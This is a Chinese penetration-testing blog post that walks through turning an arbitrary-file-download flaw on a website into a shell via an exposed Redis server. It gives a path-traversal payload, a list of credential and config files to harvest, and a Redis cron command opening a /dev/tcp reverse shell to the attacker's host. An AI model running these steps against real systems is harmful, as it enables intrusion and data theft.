前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战 | 从任意文件下载到Getshell

实战 | 从任意文件下载到Getshell

作者头像
天钧
发布2019-09-03 18:53:07
4.3K0
发布2019-09-03 18:53:07
举报
文章被收录于专栏:渗透云笔记

起因

在某网站下载素材,下载的时候看了下URL,然后发现了惊喜

花里胡哨的就不整了,待我口述一下思路

看到下载链接的URL如下

代码语言:javascript
复制
url=/xxx/xxx/xxx.zip

感觉可能存在任意文件下载漏洞,然后试了一下

代码语言:javascript
复制
url=/etc/passwd

可以成功下载,下载下来文件自动加了.zip后缀且无法解压。

不慌,直接拿notepad++一类的工具打开即可。

整理一下Linux下常见的敏感文件(需首先判断服务器操作系统版本)

代码语言:javascript
复制
/etc/passwd  #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history
/etc/shadow  #shadow文件,但是很难破解
/root/.bash_history  #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等
/root/.mysql_history  #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db  #本地所有文件信息
/etc/ssh/sshd_config  #ssh配置文件,如果对外开放可看到端口

apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf

nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf

redis:
/etc/redis.conf

以上的总结都是一些固定位置的配置文件,当然实际中这些路径不一定对,需要你结合.bash_history等信息自己去猜测。

针对Linux系统任意文件下载的几种思路:

  • 下载源代码审计
  • 数据库备份
  • 信息收集
  • 中间件
  • ...

信息收集

首先是下载.bash_history文件分析了一下,得到以下信息

代码语言:javascript
复制
网站根目录
几个服务启动/数据库备份脚本(xxx.sh)
服务器运行着几个服务:
1.apache-tomcat
2.nginx
3.redis

随后下载了某数据库自动备份脚本(xxx.sh)得到数据库的连接地址以及账号密码。

下载redis.conf配置文件得到redis密码。

问题

遇到的几个问题:

1.数据库是某云的,是内网ip,所以无法用外网连接。

2.针对java的站如果下载源代码审计会很麻烦

3.web.xml文件找不到

4.找不到数据库备份文件(即使找到也不敢下载)

5....

推荐个工具(基于java任意文件读取设计自动化信息搜集工具):

https://github.com/Artemis1029/Java_xmlhack/

转折点

一开始用nmap没扫到redis的端口,后来全端口扫描,发现redis端口对外开放了。

所以这样就简单多了,可以利用redis反弹shell

先在服务器用nc监听端口

代码语言:javascript
复制
nc -lvp 8888

然后连接redis

代码语言:javascript
复制
./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码)

写入计划任务反弹shell

代码语言:javascript
复制
set test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟即可拿到shell

总结

运气很重要

前期的信息收集也很重要

Redis真是一个神奇的东西

PS:该漏洞已经第一时间通知厂商并已经进行了修复。

声明:本文的初衷就是分享网络安全知识,若有读者因此做出任何危害网络安全的行为,请后果自负。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档